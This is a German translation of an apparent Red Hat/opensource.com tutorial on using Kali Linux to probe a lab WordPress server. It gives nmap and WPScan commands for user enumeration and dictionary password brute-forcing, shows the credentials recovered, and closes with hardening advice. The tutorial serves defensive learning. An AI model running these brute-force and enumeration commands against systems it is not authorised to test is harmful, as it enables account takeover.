Die Vielzahl bekannter Verstöße großer Verbraucherunternehmen unterstreicht die entscheidende Bedeutung des Systemsicherheitsmanagements. Glücklicherweise gibt es viele verschiedene Anwendungen, die dabei helfen, Computersysteme zu sichern. Eine davon ist Kali, eine Linux-Distribution, die für Sicherheits- und Penetrationstests entwickelt wurde. Dieser Artikel zeigt, wie Sie Kali Linux verwenden, um Ihr System zu untersuchen und Schwachstellen zu finden.
Kali installiert viele Tools, die alle Open Source sind, und wenn sie standardmäßig installiert sind, wird die Sache einfacher.
Die Systeme, die ich in diesem Tutorial verwenden werde, sind:
kali.usersys.redhat.com
:Dies ist das System, in dem ich die Scans und Angriffe starten werde. Es verfügt über 30 GB Arbeitsspeicher und sechs virtualisierte CPUs (vCPUs).vulnerable.usersys.redhat.com
:Dies ist ein Red Hat Enterprise Linux 8-System, das das Ziel sein wird. Es verfügt über 16 GB Arbeitsspeicher und sechs vCPUs. Dies ist ein relativ aktuelles System, aber einige Pakete könnten veraltet sein.- Dieses System enthält auch
httpd-2.4.37-30.module+el8.3.0+7001+0766b9e7.x86_64
,mariadb-server-10.3.27-3.module+el8.3.0+8972+5e3224e9.x86_64
,tigervnc-server-1.9.0-15.el8_1.x86_64
,vsftpd-3.0.3-32.el8.x86_64
, und WordPress-Version 5.6.1.
Ich habe die Hardwarespezifikationen oben angegeben, da einige dieser Aufgaben ziemlich anspruchsvoll sind, insbesondere für die CPU des Zielsystems, wenn der WordPress Security Scanner (WPScan) ausgeführt wird.
Untersuchen Sie Ihr System
Ich begann meine Untersuchung mit einem einfachen Nmap-Scan auf meinem Zielsystem. (Sie können tiefer in Nmap eintauchen, indem Sie den Artikel Using Nmap results to help harden Linux systems lesen.) Ein Nmap-Scan ist ein schneller Weg, um sich einen Überblick darüber zu verschaffen, welche Ports und Dienste von dem System aus sichtbar sind, das den Nmap-Scan initiiert.
Dieser Standardscan zeigt, dass es mehrere möglicherweise interessante offene Ports gibt. In Wirklichkeit ist jeder offene Port möglicherweise interessant, da er für einen Angreifer eine Möglichkeit darstellen könnte, in Ihr Netzwerk einzudringen. In diesem Beispiel lassen sich die Ports 21, 22, 80 und 443 gut scannen, da es sich um häufig verwendete Dienste handelt. In diesem frühen Stadium mache ich einfach Aufklärungsarbeit und versuche, so viele Informationen wie möglich über das Zielsystem zu bekommen.
Ich möchte Port 80 mit Nmap untersuchen, also verwende ich den -p 80
Argument, um auf Port 80 und -A
zu schauen um Informationen wie das Betriebssystem und die Anwendungsversion abzurufen.
Einige der Schlüsselzeilen in dieser Ausgabe sind:
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.37 ((Red Hat Enterprise Linux))
|_http-generator: WordPress 5.6.1
Da ich jetzt weiß, dass es sich um einen WordPress-Server handelt, kann ich WPScan verwenden, um Informationen über mögliche Schwachstellen zu erhalten. Eine gute Untersuchung besteht darin, einige Nutzernamen zu finden. Mit --enumerate u
weist WPScan an, nach Benutzern in der WordPress-Instanz zu suchen. Zum Beispiel:
┌──(root?kali)-[~]
└─# wpscan --url vulnerable.usersys.redhat.com --enumerate u
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.10
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Tue Feb 16 21:38:49 2021
Interesting Finding(s):
...
[i] User(s) Identified:
[+] admin
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] pgervase
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
Dies zeigt, dass es zwei Benutzer gibt:admin
und pgervase
. Ich werde versuchen, das Passwort für admin
zu erraten durch die Verwendung eines Passwortwörterbuchs, das eine Textdatei mit vielen möglichen Passwörtern ist. Das verwendete Wörterbuch war 37G und hatte 3.543.076.137 Zeilen.
So wie es mehrere Texteditoren, Webbrowser und andere Anwendungen gibt, aus denen Sie auswählen können, stehen mehrere Tools zum Starten von Passwortangriffen zur Verfügung. Hier sind zwei Beispielbefehle mit Nmap und WPScan:
# nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=/path/to/passworddb,threads=6 vulnerable.usersys.redhat.com
# wpscan --url vulnerable.usersys.redhat.com --passwords /path/to/passworddb --usernames admin --max-threads 50 | tee nmap.txt
Dieses Nmap-Skript ist eines von vielen möglichen Skripten, die ich hätte verwenden können, und das Scannen der URL mit WPScan ist nur eine von vielen möglichen Aufgaben, die dieses Tool ausführen kann. Sie können entscheiden, welche Sie lieber verwenden möchten
Dieses WPScan-Beispiel zeigt das Passwort am Ende der Datei:
┌──(root?kali)-[~]
└─# wpscan --url vulnerable.usersys.redhat.com --passwords passwords.txt --usernames admin
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.10
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Thu Feb 18 20:32:13 2021
Interesting Finding(s):
…..
[+] Performing password attack on Wp Login against 1 user/s
Trying admin / redhat Time: 00:01:57 <==================================================================================================================> (3231 / 3231) 100.00% Time: 00:01:57
Trying admin / redhat Time: 00:01:57 <========================================================= > (3231 / 6462) 50.00% ETA: ??:??:??
[SUCCESS] - admin / redhat
[!] Valid Combinations Found:
| Username: admin, Password: redhat
[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpscan.com/register
[+] Finished: Thu Feb 18 20:34:15 2021
[+] Requests Done: 3255
[+] Cached Requests: 34
[+] Data Sent: 1.066 MB
[+] Data Received: 24.513 MB
[+] Memory used: 264.023 MB
[+] Elapsed time: 00:02:02
Der Abschnitt "Gültige Kombinationen gefunden" am Ende enthält den Administrator-Nutzernamen und das Passwort. Es dauerte nur zwei Minuten, um 3.231 Zeilen durchzugehen.
Ich habe eine andere Wörterbuchdatei mit 3.238.659.984 eindeutigen Einträgen, was viel länger dauern und viel mehr Beweise hinterlassen würde.
Die Verwendung von Nmap führt viel schneller zu einem Ergebnis:
┌──(root?kali)-[~]
└─# nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=password.txt,threads=6 vulnerable.usersys.redhat.com
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-18 20:48 EST
Nmap scan report for vulnerable.usersys.redhat.com (10.19.47.242)
Host is up (0.00015s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
80/tcp open http Apache httpd 2.4.37 ((Red Hat Enterprise Linux))
|_http-server-header: Apache/2.4.37 (Red Hat Enterprise Linux)
| http-wordpress-brute:
| Accounts:
| admin:redhat - Valid credentials <<<<<<<
| pgervase:redhat - Valid credentials <<<<<<<
|_ Statistics: Performed 6 guesses in 1 seconds, average tps: 6.0
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
|_ 100000 3,4 111/udp6 rpcbind
3306/tcp open mysql MySQL 5.5.5-10.3.27-MariaDB
MAC Address: 52:54:00:8C:A1:C0 (QEMU virtual NIC)
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.68 seconds
Das Ausführen eines Scans wie diesem kann jedoch eine Flut von HTTPD-Protokollierungsmeldungen auf dem Zielsystem hinterlassen:
10.19.47.170 - - [18/Feb/2021:20:14:01 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:02 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:02 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:02 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
Um Informationen über den HTTPS-Server zu erhalten, der in meinem anfänglichen Nmap-Scan gefunden wurde, habe ich den sslscan
verwendet Befehl:
┌──(root?kali)-[~]
└─# sslscan vulnerable.usersys.redhat.com
Version: 2.0.6-static
OpenSSL 1.1.1i-dev xx XXX xxxx
Connected to 10.19.47.242
Testing SSL server vulnerable.usersys.redhat.com on port 443 using SNI name vulnerable.usersys.redhat.com
SSL/TLS Protocols:
SSLv2 disabled
SSLv3 disabled
TLSv1.0 disabled
TLSv1.1 disabled
TLSv1.2 enabled
TLSv1.3 enabled
<snip>
Dies zeigt Informationen über die aktivierten SSL-Protokolle und weiter unten in der Ausgabe Informationen über die Heartbleed-Schwachstelle:
Heartbleed:
TLSv1.3 not vulnerable to heartbleed
TLSv1.2 not vulnerable to heartbleed
Tipps zur Verhinderung oder Abwehr von Angreifern
Weitere Linux-Ressourcen
- Spickzettel für Linux-Befehle
- Spickzettel für fortgeschrittene Linux-Befehle
- Kostenloser Online-Kurs:RHEL Technical Overview
- Spickzettel für Linux-Netzwerke
- SELinux-Spickzettel
- Spickzettel für allgemeine Linux-Befehle
- Was sind Linux-Container?
- Unsere neuesten Linux-Artikel
Es gibt viele Möglichkeiten, Ihre Systeme gegen die Vielzahl von Angreifern da draußen zu verteidigen. Einige wichtige Punkte sind:
- Kennen Sie Ihre Systeme: Dazu gehört das Wissen, welche Ports offen sind, welche Ports offen sein sollten, wer diese offenen Ports sehen kann und wie hoch der erwartete Datenverkehr auf diesen Diensten ist. Nmap ist ein großartiges Werkzeug, um mehr über Systeme im Netzwerk zu erfahren.
- Nutzen Sie aktuelle Best Practices: Was heute als Best Practice gilt, ist in Zukunft möglicherweise keine Best Practice mehr. Als Administrator ist es wichtig, über Trends im Bereich der Infosec auf dem Laufenden zu bleiben.
- Wissen, wie Sie Ihre Produkte verwenden: Anstatt beispielsweise einen Angreifer ständig auf Ihr WordPress-System einhämmern zu lassen, blockieren Sie seine IP-Adresse und begrenzen Sie die Anzahl der Anmeldeversuche, bevor er blockiert wird. Das Blockieren der IP-Adresse ist in der realen Welt möglicherweise nicht so hilfreich, da Angreifer wahrscheinlich kompromittierte Systeme verwenden, um Angriffe zu starten. Es ist jedoch eine einfach zu aktivierende Einstellung und könnte einige Angriffe blockieren.
- Warte und verifiziere gute Backups: Wenn ein Angreifer eines oder mehrere Ihrer Systeme umfasst, kann die Wiederherstellung aus bekanntermaßen guten und sauberen Backups viel Zeit und Geld sparen.
- Überprüfen Sie Ihre Protokolle: Wie die obigen Beispiele zeigen, können Scan- und Penetrationsbefehle viele Protokolle hinterlassen, die darauf hinweisen, dass ein Angreifer auf das System abzielt. Wenn Sie sie bemerken, können Sie vorbeugende Maßnahmen ergreifen, um das Risiko zu mindern.
- Aktualisieren Sie Ihre Systeme, ihre Anwendungen und alle zusätzlichen Module: Wie die NIST-Sonderveröffentlichung 800-40r3 erklärt, „sind Patches normalerweise der effektivste Weg, um Schwachstellen durch Softwarefehler zu mindern, und oft die einzige wirklich wirksame Lösung.“
- Verwenden Sie die von Ihren Anbietern bereitgestellten Tools: Anbieter haben verschiedene Tools, die Ihnen bei der Wartung ihrer Systeme helfen, stellen Sie also sicher, dass Sie davon profitieren. Zum Beispiel kann Red Hat Insights, das in Red Hat Enterprise Linux-Abonnements enthalten ist, dabei helfen, Ihre Systeme zu optimieren und Sie vor potenziellen Sicherheitsbedrohungen zu warnen.
Weitere Informationen
Diese Einführung in Sicherheitstools und deren Verwendung ist nur die Spitze des Eisbergs. Um tiefer einzutauchen, sollten Sie sich die folgenden Ressourcen ansehen:
- Armitage, ein Open-Source-Tool zur Verwaltung von Angriffen
- Red Hat Product Security Center
- Red Hat Security Channel
- Cybersicherheitsseite von NIST
- Verwendung von Nmap-Ergebnissen zur Unterstützung der Härtung von Linux-Systemen